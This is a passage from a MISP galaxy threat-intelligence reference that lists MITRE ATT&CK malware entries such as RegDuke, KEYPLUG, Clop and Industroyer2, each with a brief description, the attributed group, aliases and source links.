[RegDuke](https://attack.mitre.org/software/S0511) is a first stage implant written in .NET and used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2017. [RegDuke](https://attack.mitre.org/software/S0511) has been used to control a compromised machine when control of other implants on the machine was lost.(Citation: ESET Dukes October 2019)

The tag is: *misp-galaxy:mitre-malware="RegDuke - S0511"*

RegDuke - S0511 is also known as:

- RegDuke

Table 11187. Table References

Links
https://attack.mitre.org/software/S0511
https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf

KEYPLUG - S1051

[KEYPLUG](https://attack.mitre.org/software/S1051) is a modular backdoor written in C++, with Windows and Linux variants, that has been used by [APT41](https://attack.mitre.org/groups/G0096) since at least June 2021.(Citation: Mandiant APT41)

The tag is: *misp-galaxy:mitre-malware="KEYPLUG - S1051"*

KEYPLUG - S1051 is also known as:

- KEYPLUG
- KEYPLUG.LINUX

Table 11188. Table References

Links
https://attack.mitre.org/software/S1051

https://www.mandiant.com/resources/apt41-us-state-governments

Milan - S1015

[Milan](https://attack.mitre.org/software/S1015) is a backdoor implant based on [DanBot](https://attack.mitre.org/software/S1014) that was written in Visual C++ and .NET. [Milan](https://attack.mitre.org/software/S1015) has been used by [HEXANE](https://attack.mitre.org/groups/G1001) since at least June 2020.(Citation: ClearSky Siamesekitten August 2021)(Citation: Kaspersky Lyceum October 2021)

The tag is: *misp-galaxy:mitre-malware="Milan - S1015"*

Milan - S1015 is also known as:

- Milan
- James

Table 11189. Table References

Links
https://attack.mitre.org/software/S1015
https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf
https://www.accenture.com/us-en/blogs/cyber-defense/iran-based-lyceum-campaigns
https://www.clearskysec.com/siamesekitten/

AbstractEmu - S1061

[AbstractEmu](https://attack.mitre.org/software/S1061) is mobile malware that was first seen in Google Play and other third-party stores in October 2021. It was discovered in 19 Android applications, of which at least 7 abused known Android exploits for obtaining root permissions. [AbstractEmu](https://attack.mitre.org/software/S1061) was observed primarily impacting users in the United States, however victims are believed to be across a total of 17 countries.(Citation: lookout_abstractemu_1021)

The tag is: *misp-galaxy:mitre-malware="AbstractEmu - S1061"*

AbstractEmu - S1061 is also known as:

- AbstractEmu

Table 11190. Table References

Links
https://attack.mitre.org/software/S1061
https://www.lookout.com/blog/lookout-discovers-global-rooting-malware-campaign

XAgentOSX - S0161

[XAgentOSX](https://attack.mitre.org/software/S0161) is a trojan that has been used by [APT28](https://attack.mitre.org/groups/G0007) on OS X and appears to be a port of their standard [CHOPSTICK](https://attack.mitre.org/software/S0023) or XAgent trojan. (Citation: XAgentOSX 2017)

The tag is: *misp-galaxy:mitre-malware="XAgentOSX - S0161"*

XAgentOSX - S0161 is also known as:

- XAgentOSX
- OSX.Sofacy

Table 11191. Table References

Links
https://attack.mitre.org/software/S0161
https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/
https://www.symantec.com/blogs/election-security/apt28-espionage-military-government

Clop - S0611

[Clop](https://attack.mitre.org/software/S0611) is a ransomware family that was first observed in February 2019 and has been used against retail, transportation and logistics, education, manufacturing, engineering, automotive, energy, financial, aerospace, telecommunications, professional and legal services, healthcare, and high tech industries. [Clop](https://attack.mitre.org/software/S0611) is a variant of the CryptoMix ransomware.(Citation: Mcafee Clop Aug 2019)(Citation: Cybereason Clop Dec 2020)(Citation: Unit42 Clop April 2021)

The tag is: *misp-galaxy:mitre-malware="Clop - S0611"*

Clop - S0611 is also known as:

- Clop

Table 11192. Table References

Links
https://attack.mitre.org/software/S0611
https://unit42.paloaltonetworks.com/clop-ransomware/
https://www.cybereason.com/blog/cybereason-vs.-clop-ransomware
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/clop-ransomware/

NGLite - S1106

[NGLite](https://attack.mitre.org/software/S1106) is a backdoor Trojan that is only capable of

running commands received through its C2 channel. While the capabilities are standard for a backdoor, NGLite uses a novel C2 channel that leverages a decentralized network based on the legitimate NKN to communicate between the backdoor and the actors.(Citation: NGLite Trojan)

The tag is: *misp-galaxy:mitre-malware="NGLite - S1106"*

NGLite - S1106 is also known as:

- NGLite

Table 11193. Table References

Links
https://attack.mitre.org/software/S1106
https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/

Latrodectus - S1160

[Latrodectus](https://attack.mitre.org/software/S1160) is a Windows malware downloader that has been used since at least 2023 to download and execute additional payloads and modules. [Latrodectus](https://attack.mitre.org/software/S1160) has most often been distributed through email campaigns, primarily by [TA577](https://attack.mitre.org/groups/G1037) and [TA578](https://attack.mitre.org/groups/G1038), and has infrastructure overlaps with historic [IcedID](https://attack.mitre.org/software/S0483) operations.(Citation: Latrodectus APR 2024)(Citation: Bleeping Computer Latrodectus April 2024)(Citation: Bitsight Latrodectus June 2024)

The tag is: *misp-galaxy:mitre-malware="Latrodectus - S1160"*

Latrodectus - S1160 is also known as:

- Latrodectus
- IceNova
- Unidentified 111

Table 11194. Table References

Links
https://attack.mitre.org/software/S1160
https://www.bitsight.com/blog/latrodectus-are-you-coming-back
https://www.bleepingcomputer.com/news/security/new-latrodectus-malware-attacks-use-microsoft-cloudflare-themes/
https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice

MacMa - S1016

[MacMa](https://attack.mitre.org/software/S1016) is a macOS-based backdoor with a large set of functionalities to control and exfiltrate files from a compromised computer.

[MacMa](https://attack.mitre.org/software/S1016) has been observed in the wild since November 2021.(Citation: ESET DazzleSpy Jan 2022) [MacMa](https://attack.mitre.org/software/S1016) shares command and control and unique libraries with [MgBot](https://attack.mitre.org/software/S1146) and [Nightdoor](https://attack.mitre.org/software/S1147), indicating a relationship with the [Daggerfly](https://attack.mitre.org/groups/G1034) threat actor.(Citation: Symantec Daggerfly 2024)

The tag is: *misp-galaxy:mitre-malware="MacMa - S1016"*

MacMa - S1016 is also known as:

- MacMa
- OSX.CDDS
- DazzleSpy

Table 11195. Table References

Links
https://attack.mitre.org/software/S1016
https://objective-see.org/blog/blog_0x69.html
https://symantec-enterprise-blogs.security.com/threat-intelligence/daggerfly-espionage-updated-toolset
https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/

ODAgent - S1170

[ODAgent](https://attack.mitre.org/software/S1170) is a C#/.NET downloader that has been used by [OilRig](https://attack.mitre.org/groups/G0049) since at least 2022 including against target organizations in Israel to download and execute payloads and to exfiltrate staged files.(Citation: ESET OilRig Downloaders DEC 2023)

The tag is: *misp-galaxy:mitre-malware="ODAgent - S1170"*

ODAgent - S1170 is also known as:

- ODAgent

Table 11196. Table References

Links
https://attack.mitre.org/software/S1170
https://www.welivesecurity.com/en/eset-research/oilrig-persistent-attacks-cloud-service-powered-downloaders/

NKAbuse - S1107

[NKAbuse](https://attack.mitre.org/software/S1107) is a Go-based, multi-platform malware abusing NKN (New Kind of Network) technology for data exchange between peers, functioning as a potent implant, and equipped with both flooder and backdoor capabilities.(Citation: NKAbuse BC)(Citation: NKAbuse SL)

The tag is: *misp-galaxy:mitre-malware="NKAbuse - S1107"*

NKAbuse - S1107 is also known as:

- NKAbuse

Table 11197. Table References

Links
https://attack.mitre.org/software/S1107
https://securelist.com/unveiling-nkabuse/111512/
https://www.bleepingcomputer.com/news/security/new-nkabuse-malware-abuses-nkn-blockchain-for-stealthy-comms/#google_vignette

Felismus - S0171

[Felismus](https://attack.mitre.org/software/S0171) is a modular backdoor that has been used by [Sowbug](https://attack.mitre.org/groups/G0054). (Citation: Symantec Sowbug Nov 2017) (Citation: Forcepoint Felismus Mar 2017)

The tag is: *misp-galaxy:mitre-malware="Felismus - S0171"*

Felismus - S0171 is also known as:

- Felismus

View relationships graph

Felismus - S0171 has relationships with:

- similar: misp-galaxy:malpedia="Felismus" with estimative-language:likelihood-probability="likely"

Table 11198. Table References

Links
https://attack.mitre.org/software/S0171
https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware
https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments

OutSteel - S1017

[OutSteel](https://attack.mitre.org/software/S1017) is a file uploader and document stealer developed with the scripting language AutoIT that has been used by [Saint Bear](https://attack.mitre.org/groups/G1031) since at least March 2021.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022)

The tag is: *misp-galaxy:mitre-malware="OutSteel - S1017"*

OutSteel - S1017 is also known as:

- OutSteel

Table 11199. Table References

Links
https://attack.mitre.org/software/S1017
https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/

XTunnel - S0117

[XTunnel](https://attack.mitre.org/software/S0117) a VPN-like network proxy tool that can relay traffic between a C2 server and a victim. It was first seen in May 2013 and reportedly used by [APT28](https://attack.mitre.org/groups/G0007) during the compromise of the Democratic National Committee. (Citation: Crowdstrike DNC June 2016) (Citation: Invincea XTunnel) (Citation: ESET Sednit Part 2)

The tag is: *misp-galaxy:mitre-malware="XTunnel - S0117"*

XTunnel - S0117 is also known as:

- XTunnel
- Trojan.Shunnael
- X-Tunnel
- XAPS

View relationships graph

XTunnel - S0117 has relationships with:

- similar: misp-galaxy:malpedia="XTunnel" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="X-Tunnel" with estimative-language:likelihood-probability="likely"

Table 11200. Table References

Links
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf

https://attack.mitre.org/software/S0117
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/
https://www.invincea.com/2016/07/tunnel-of-gov-dnc-hack-and-the-russian-xtunnel/
https://www.symantec.com/blogs/election-security/apt28-espionage-military-government

BADHATCH - S1081

[BADHATCH](https://attack.mitre.org/software/S1081) is a backdoor that has been utilized by [FIN8](https://attack.mitre.org/groups/G0061) since at least 2019. [BADHATCH](https://attack.mitre.org/software/S1081) has been used to target the insurance, retail, technology, and chemical industries in the United States, Canada, South Africa, Panama, and Italy.(Citation: Gigamon BADHATCH Jul 2019)(Citation: BitDefender BADHATCH Mar 2021)

The tag is: *misp-galaxy:mitre-malware="BADHATCH - S1081"*

BADHATCH - S1081 is also known as:

- BADHATCH

Table 11201. Table References

Links
https://attack.mitre.org/software/S1081
https://blog.gigamon.com/2019/07/23/abadbabe-8badf00d-discovering-badhatch-and-a-detailed-look-at-fin8s-tooling/
https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf

FALLCHILL - S0181

[FALLCHILL](https://attack.mitre.org/software/S0181) is a RAT that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032) since at least 2016 to target the aerospace, telecommunications, and finance industries. It is usually dropped by other [Lazarus Group](https://attack.mitre.org/groups/G0032) malware or delivered when a victim unknowingly visits a compromised website. (Citation: US-CERT FALLCHILL Nov 2017)

The tag is: *misp-galaxy:mitre-malware="FALLCHILL - S0181"*

FALLCHILL - S0181 is also known as:

- FALLCHILL

View relationships graph

FALLCHILL - S0181 has relationships with:

- similar: misp-galaxy:tool="Volgmer" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:malpedia="Volgmer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:rat="FALLCHILL" with estimative-language:likelihood-probability="likely"

Table 11202. Table References

Links
https://attack.mitre.org/software/S0181
https://www.us-cert.gov/ncas/alerts/TA17-318A

PULSECHECK - S1108

[PULSECHECK](https://attack.mitre.org/software/S1108) is a web shell written in Perl that was used by [APT5](https://attack.mitre.org/groups/G1023) as early as 2020 including against Pulse Secure VPNs at US Defense Industrial Base (DIB) companies.(Citation: Mandiant Pulse Secure Zero-Day April 2021)

The tag is: *misp-galaxy:mitre-malware="PULSECHECK - S1108"*

PULSECHECK - S1108 is also known as:

- PULSECHECK

Table 11203. Table References

Links
https://attack.mitre.org/software/S1108
https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day

Nidiran - S0118

[Nidiran](https://attack.mitre.org/software/S0118) is a custom backdoor developed and used by [Suckfly](https://attack.mitre.org/groups/G0039). It has been delivered via strategic web compromise. (Citation: Symantec Suckfly March 2016)

The tag is: *misp-galaxy:mitre-malware="Nidiran - S0118"*

Nidiran - S0118 is also known as:

- Nidiran
- Backdoor.Nidiran

Table 11204. Table References

Links
http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates

https://attack.mitre.org/software/S0118

PACEMAKER - S1109

[PACEMAKER](https://attack.mitre.org/software/S1109) is a credential stealer that was used by [APT5](https://attack.mitre.org/groups/G1023) as early as 2020 including activity against US Defense Industrial Base (DIB) companies.(Citation: Mandiant Pulse Secure Zero-Day April 2021)

The tag is: *misp-galaxy:mitre-malware="PACEMAKER - S1109"*

PACEMAKER - S1109 is also known as:

- PACEMAKER

Table 11205. Table References

Links
https://attack.mitre.org/software/S1109
https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day

Kapeka - S1190

Kapeka is a backdoor written in C++ used against victims in Eastern Europe since at least mid-2022. Kapeka has technical overlaps with [Exaramel for Windows](https://attack.mitre.org/software/S0343) and [Prestige](https://attack.mitre.org/software/S1058) malware variants, both of which are linked to [Sandworm Team](https://attack.mitre.org/groups/G0034). Kapeka may have been used in advance of [Prestige](https://attack.mitre.org/software/S1058) deployment in late 2022.(Citation: WithSecure Kapeka 2024)(Citation: Microsoft KnuckleTouch 2024)

The tag is: *misp-galaxy:mitre-malware="Kapeka - S1190"*

Kapeka - S1190 is also known as:

- Kapeka
- KnuckleTouch

Table 11206. Table References

Links
https://attack.mitre.org/software/S1190
https://labs.withsecure.com/content/dam/labs/docs/WithSecure-Research-Kapeka.pdf
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win64/KnuckleTouch.A!dha&threatId=-2147067254

Shark - S1019

[Shark](https://attack.mitre.org/software/S1019) is a backdoor malware written in C# and .NET that is an updated version of [Milan](https://attack.mitre.org/software/S1015); it has been used by [HEXANE](https://attack.mitre.org/groups/G1001) since at least July 2021.(Citation: ClearSky Siamesekitten August 2021)(Citation: Accenture Lyceum Targets November 2021)

The tag is: *misp-galaxy:mitre-malware="Shark - S1019"*

Shark - S1019 is also known as:

- Shark

Table 11207. Table References

Links
https://attack.mitre.org/software/S1019
https://www.accenture.com/us-en/blogs/cyber-defense/iran-based-lyceum-campaigns
https://www.clearskysec.com/siamesekitten/

Concipit1248 - S0426

[Concipit1248](https://attack.mitre.org/software/S0426) is iOS spyware that was discovered using the same name as the developer of the Android spyware [Corona Updates](https://attack.mitre.org/software/S0425). Further investigation revealed that the two pieces of software contained the same C2 URL and similar functionality.(Citation: TrendMicro Coronavirus Updates)

The tag is: *misp-galaxy:mitre-malware="Concipit1248 - S0426"*

Concipit1248 - S0426 is also known as:

- Concipit1248
- Corona Updates

Table 11208. Table References

Links
https://attack.mitre.org/software/S0426
https://blog.trendmicro.com/trendlabs-security-intelligence/coronavirus-update-app-leads-to-project-spy-android-and-ios-spyware/

Industroyer2 - S1072

[Industroyer2](https://attack.mitre.org/software/S1072) is a compiled and static piece of malware that has the ability to communicate over the IEC-104 protocol. It is similar to the IEC-104 module found in [Industroyer](https://attack.mitre.org/software/S0604). Security researchers assess that [Industroyer2](https://attack.mitre.org/software/S1072) was designed to cause impact to high-

voltage electrical substations. The initial [Industroyer2](https://attack.mitre.org/software/S1072) sample was compiled on 03/23/2022 and scheduled to execute on 04/08/2022, however it was discovered before deploying, resulting in no impact.(Citation: Industroyer2 Blackhat ESET)

The tag is: *misp-galaxy:mitre-malware="Industroyer2 - S1072"*

Industroyer2 - S1072 is also known as:

- Industroyer2

Table 11209. Table References

Links
https://attack.mitre.org/software/S1072
https://www.youtube.com/watch?v=xC9iM5wVedQ

CORALDECK - S0212

[CORALDECK](https://attack.mitre.org/software/S0212) is an exfiltration tool used by [APT37](https://attack.mitre.org/groups/G0067). (Citation: FireEye APT37 Feb 2018)

The tag is: *misp-galaxy:mitre-malware="CORALDECK - S0212"*

CORALDECK - S0212 is also known as:

- CORALDECK

View relationships graph

CORALDECK - S0212 has relationships with:

- similar: misp-galaxy:tool="CORALDECK" with estimative-language:likelihood-probability="likely"

Table 11210. Table References

Links
https://attack.mitre.org/software/S0212
https://services.google.com/fh/files/misc/apt37-reaper-the-overlooked-north-korean-actor.pdf

MEDUSA - S1220

[MEDUSA](https://attack.mitre.org/software/S1220) is an open-source rootkit that is capable of dynamic linker hijacking, command execution, and logging credentials.(Citation: Google Cloud Mandiant UNC3886 2024)

The tag is: *misp-galaxy:mitre-malware="MEDUSA - S1220"*

MEDUSA - S1220 is also known as:

- MEDUSA

Table 11211. Table References

Links
https://attack.mitre.org/software/S1220
https://cloud.google.com/blog/topics/threat-intelligence/uncovering-unc3886-espionage-operations

IceApple - S1022

[IceApple](https://attack.mitre.org/software/S1022) is a modular Internet Information Services (IIS) post-exploitation framework, that has been used since at least 2021 against the technology, academic, and government sectors.(Citation: CrowdStrike IceApple May 2022)

The tag is: *misp-galaxy:mitre-malware="IceApple - S1022"*

IceApple - S1022 is also known as:

- IceApple

Table 11212. Table References

Links
https://attack.mitre.org/software/S1022
https://www.crowdstrike.com/wp-content/uploads/2022/05/crowdstrike-iceapple-a-novel-internet-information-services-post-exploitation-framework.pdf

Umbreon - S0221

A Linux rootkit that provides backdoor access and hides from defenders.

The tag is: *misp-galaxy:mitre-malware="Umbreon - S0221"*

Umbreon - S0221 is also known as:

- Umbreon

View relationships graph

Umbreon - S0221 has relationships with:

- similar: misp-galaxy:tool="Umbreon" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Umbreon" with estimative-language:likelihood-probability="likely"

Table 11213. Table References

Links
https://attack.mitre.org/software/S0221

https://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems/?_ga=2.180041126.367598458.1505420282-1759340220.1502477046

ccf32 - S1043

[ccf32](https://attack.mitre.org/software/S1043) is data collection malware that has been used since at least February 2019, most notably during the [FunnyDream](https://attack.mitre.org/campaigns/C0007) campaign; there is also a similar x64 version.(Citation: Bitdefender FunnyDream Campaign November 2020)

The tag is: *misp-galaxy:mitre-malware="ccf32 - S1043"*

ccf32 - S1043 is also known as:

- ccf32

Table 11214. Table References

Links
https://attack.mitre.org/software/S1043
https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf

DOGCALL - S0213

[DOGCALL](https://attack.mitre.org/software/S0213) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067) that has been used to target South Korean government and military organizations in 2017. It is typically dropped using a Hangul Word Processor (HWP) exploit. (Citation: FireEye APT37 Feb 2018)

The tag is: *misp-galaxy:mitre-malware="DOGCALL - S0213"*

DOGCALL - S0213 is also known as:

- DOGCALL

View relationships graph

DOGCALL - S0213 has relationships with:

- similar: misp-galaxy:tool="DOGCALL" with estimative-language:likelihood-probability="likely"

Table 11215. Table References

Links
https://attack.mitre.org/software/S0213
https://services.google.com/fh/files/misc/apt37-reaper-the-overlooked-north-korean-actor.pdf

HIUPAN - S1230

[HIUPAN](https://attack.mitre.org/software/S1230) (aka U2DiskWatch) is a is a worm that propagates through removable drives known to be leveraged by [Mustang Panda](https://attack.mitre.org/groups/G0129) and was first observed utilized in 2024. (Citation: 2025_IBM_PUBLOAD_TONESHELL_HIUPAN_CLAIMLOADER_MUSTANG PANDA)(Citation: Trend Micro MUSTANG PANDA PUBLOAD HIUPAN SEPTEMBER 2024)

The tag is: *misp-galaxy:mitre-malware="HIUPAN - S1230"*

HIUPAN - S1230 is also known as:

- HIUPAN

Table 11216. Table References

Links
https://attack.mitre.org/software/S1230
https://www.ibm.com/think/x-force/hive0154-targeting-us-philippines-pakistan-taiwan
https://www.trendmicro.com/en_us/research/24/i/earth-preta-new-malware-and-strategies.html

PyDCrypt - S1032

[PyDCrypt](https://attack.mitre.org/software/S1032) is malware written in Python designed to deliver [DCSrv](https://attack.mitre.org/software/S1033). It has been used by [Moses Staff](https://attack.mitre.org/groups/G1009) since at least September 2021, with each sample tailored for its intended victim organization.(Citation: Checkpoint MosesStaff Nov 2021)

The tag is: *misp-galaxy:mitre-malware="PyDCrypt - S1032"*

PyDCrypt - S1032 is also known as:

- PyDCrypt

Table 11217. Table References

Links
https://attack.mitre.org/software/S1032
https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/

CreepyDrive - S1023

[CreepyDrive](https://attack.mitre.org/software/S1023) is a custom implant has been used by [POLONIUM](https://attack.mitre.org/groups/G1005) since at least early 2022 for C2 with and exfiltration to actor-controlled OneDrive accounts.(Citation: Microsoft POLONIUM June 2022)

[POLONIUM](https://attack.mitre.org/groups/G1005) has used a similar implant called CreepyBox that relies on actor-controlled DropBox accounts.(Citation: Microsoft POLONIUM June 2022)

The tag is: *misp-galaxy:mitre-malware="CreepyDrive - S1023"*

CreepyDrive - S1023 is also known as:

- CreepyDrive

Table 11218. Table References

Links
https://attack.mitre.org/software/S1023
https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/

HummingWhale - S0321

[HummingWhale](https://attack.mitre.org/software/S0321) is an Android malware family that performs ad fraud. (Citation: ArsTechnica-HummingWhale)

The tag is: *misp-galaxy:mitre-malware="HummingWhale - S0321"*

Table 11219. Table References

Links
http://arstechnica.com/security/2017/01/virulent-android-malware-returns-gets-2-million-downloads-on-google-play/
https://attack.mitre.org/software/S0321

WireLurker - S0312

[WireLurker](https://attack.mitre.org/software/S0312) is a family of macOS malware that targets iOS devices connected over USB. (Citation: PaloAlto-WireLurker)

The tag is: *misp-galaxy:mitre-malware="WireLurker - S0312"*

View relationships graph

WireLurker - S0312 has relationships with:

- similar: misp-galaxy:malpedia="WireLurker (OS X)" with estimative-language:likelihood-probability="likely"

Table 11220. Table References

Links
https://attack.mitre.org/software/S0312
https://researchcenter.paloaltonetworks.com/2014/11/wirelurker-new-era-os-x-ios-malware/
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf

RATANKBA - S0241

[RATANKBA](https://attack.mitre.org/software/S0241) is a remote controller tool used by [Lazarus Group](https://attack.mitre.org/groups/G0032). [RATANKBA](https://attack.mitre.org/software/S0241) has been used in attacks targeting financial institutions in Poland, Mexico, Uruguay, the United Kingdom, and Chile. It was also seen used against organizations related to telecommunications, management consulting, information technology, insurance, aviation, and education. [RATANKBA](https://attack.mitre.org/software/S0241) has a graphical user interface to allow the attacker to issue jobs to perform on the infected machines. (Citation: Lazarus RATANKBA) (Citation: RATANKBA)

The tag is: *misp-galaxy:mitre-malware="RATANKBA - S0241"*

RATANKBA - S0241 is also known as:

- RATANKBA

Table 11221. Table References

Links
https://attack.mitre.org/software/S0241
https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/
https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html

SUGARDUMP - S1042

[SUGARDUMP](https://attack.mitre.org/software/S1042) is a proprietary browser credential harvesting tool that was used by UNC3890 during the [C0010](https://attack.mitre.org/campaigns/C0010) campaign. The first known [SUGARDUMP](https://attack.mitre.org/software/S1042) version was used since at least early 2021, a second SMTP C2 version was used from late 2021-early 2022, and a third HTTP C2 variant was used since at least April 2022.(Citation: Mandiant UNC3890 Aug 2022)

The tag is: *misp-galaxy:mitre-malware="SUGARDUMP - S1042"*

SUGARDUMP - S1042 is also known as:

- SUGARDUMP

Table 11222. Table References

Links
https://attack.mitre.org/software/S1042
https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping

HAPPYWORK - S0214

[HAPPYWORK](https://attack.mitre.org/software/S0214) is a downloader used by [APT37](https://attack.mitre.org/groups/G0067) to target South Korean government and financial victims in November 2016. (Citation: FireEye APT37 Feb 2018)

The tag is: *misp-galaxy:mitre-malware="HAPPYWORK - S0214"*

HAPPYWORK - S0214 is also known as:

- HAPPYWORK

View relationships graph

HAPPYWORK - S0214 has relationships with:

- similar: misp-galaxy:tool="HAPPYWORK" with estimative-language:likelihood-probability="likely"

Table 11223. Table References

Links
https://attack.mitre.org/software/S0214
https://services.google.com/fh/files/misc/apt37-reaper-the-overlooked-north-korean-actor.pdf

CreepySnail - S1024

[CreepySnail](https://attack.mitre.org/software/S1024) is a custom PowerShell implant that has been used by [POLONIUM](https://attack.mitre.org/groups/G1005) since at least 2022.(Citation: Microsoft POLONIUM June 2022)

The tag is: *misp-galaxy:mitre-malware="CreepySnail - S1024"*

CreepySnail - S1024 is also known as:

- CreepySnail

Table 11224. Table References

Links
https://attack.mitre.org/software/S1024
https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/

StreamEx - S0142

[StreamEx](https://attack.mitre.org/software/S0142) is a malware family that has been used by [Deep Panda](https://attack.mitre.org/groups/G0009) since at least 2015. In 2016, it was distributed via legitimate compromised Korean websites. (Citation: Cylance Shell Crew Feb 2017)

The tag is: *misp-galaxy:mitre-malware="StreamEx - S0142"*

StreamEx - S0142 is also known as:

- StreamEx

View relationships graph

StreamEx - S0142 has relationships with:

- similar: misp-galaxy:tool="StreamEx" with estimative-language:likelihood-probability="likely"

Table 11225. Table References

Links
https://attack.mitre.org/software/S0142
https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar

GolfSpy - S0421

[GolfSpy](https://attack.mitre.org/software/S0421) is Android spyware deployed by the group [Bouncing Golf](https://attack.mitre.org/groups/G0097).(Citation: Trend Micro Bouncing Golf 2019)

The tag is: *misp-galaxy:mitre-malware="GolfSpy - S0421"*

GolfSpy - S0421 is also known as:

- GolfSpy

Table 11226. Table References

Links
https://attack.mitre.org/software/S0421
https://blog.trendmicro.com/trendlabs-security-intelligence/mobile-cyberespionage-campaign-bouncing-golf-affects-middle-east/

Pisloader - S0124

[Pisloader](https://attack.mitre.org/software/S0124) is a malware family that is notable due to its use of DNS as a C2 protocol as well as its use of anti-analysis tactics. It has been used by [APT18](https://attack.mitre.org/groups/G0026) and is similar to another malware family, [HTTPBrowser](https://attack.mitre.org/software/S0070), that has been used by the group. (Citation: Palo Alto DNS Requests)

The tag is: *misp-galaxy:mitre-malware="Pisloader - S0124"*

Pisloader - S0124 is also known as:

- Pisloader

Table 11227. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/
https://attack.mitre.org/software/S0124

ZxShell - S0412

[ZxShell](https://attack.mitre.org/software/S0412) is a remote administration tool and backdoor that can be downloaded from the Internet, particularly from Chinese hacker websites. It has been used since at least 2004.(Citation: FireEye APT41 Aug 2019)(Citation: Talos ZxShell Oct 2014)

The tag is: *misp-galaxy:mitre-malware="ZxShell - S0412"*

ZxShell - S0412 is also known as:

- ZxShell
- Sensocode

Table 11228. Table References

Links
https://attack.mitre.org/software/S0412
https://blogs.cisco.com/security/talos/opening-zxshell
https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf

KARAE - S0215

[KARAE](https://attack.mitre.org/software/S0215) is a backdoor typically used by [APT37](https://attack.mitre.org/groups/G0067) as first-stage malware. (Citation: FireEye APT37 Feb 2018)

The tag is: *misp-galaxy:mitre-malware="KARAE - S0215"*

KARAE - S0215 is also known as:

- KARAE

View relationships graph

KARAE - S0215 has relationships with:

- similar: misp-galaxy:tool="KARAE" with estimative-language:likelihood-probability="likely"

Table 11229. Table References

Links

https://attack.mitre.org/software/S0215
https://services.google.com/fh/files/misc/apt37-reaper-the-overlooked-north-korean-actor.pdf

DEADEYE - S1052

[DEADEYE](https://attack.mitre.org/software/S1052) is a malware launcher that has been used by [APT41](https://attack.mitre.org/groups/G0096) since at least May 2021. [DEADEYE](https://attack.mitre.org/software/S1052) has variants that can either embed a payload inside a compiled binary (DEADEYE.EMBED) or append it to the end of a file (DEADEYE.APPEND).(Citation: Mandiant APT41)

The tag is: *misp-galaxy:mitre-malware="DEADEYE - S1052"*

DEADEYE - S1052 is also known as:

- DEADEYE
- DEADEYE.EMBED
- DEADEYE.APPEND

Table 11230. Table References

Links
https://attack.mitre.org/software/S1052
https://www.mandiant.com/resources/apt41-us-state-governments

Amadey - S1025

[Amadey](https://attack.mitre.org/software/S1025) is a Trojan bot that has been used since at least October 2018.(Citation: Korean FSI TA505 2020)(Citation: BlackBerry Amadey 2020)

The tag is: *misp-galaxy:mitre-malware="Amadey - S1025"*

Amadey - S1025 is also known as:

- Amadey

Table 11231. Table References

Links
https://attack.mitre.org/software/S1025
https://blogs.blackberry.com/en/2020/01/threat-spotlight-amadey-bot
https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory=

FatDuke - S0512

[FatDuke](https://attack.mitre.org/software/S0512) is a backdoor used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2016.(Citation: ESET Dukes October 2019)

The tag is: *misp-galaxy:mitre-malware="FatDuke - S0512"*

FatDuke - S0512 is also known as:

- FatDuke

Table 11232. Table References

Links
https://attack.mitre.org/software/S0512
https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf

EvilGrab - S0152

[EvilGrab](https://attack.mitre.org/software/S0152) is a malware family with common reconnaissance capabilities. It has been deployed by [menuPass](https://attack.mitre.org/groups/G0045) via malicious Microsoft Office documents as part of spearphishing campaigns. (Citation: PWC Cloud Hopper Technical Annex April 2017)

The tag is: *misp-galaxy:mitre-malware="EvilGrab - S0152"*

EvilGrab - S0152 is also known as:

